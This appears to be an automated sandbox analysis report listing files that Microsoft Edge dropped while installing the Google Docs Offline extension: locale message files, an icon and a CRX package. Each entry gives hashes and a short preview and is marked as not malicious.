Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\e52fed4b-70fe-4d35-b195-61fa86f2570b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\1afcfb60-e275-4299-8b6d-0fb01a93a221.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2948_1728041278\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
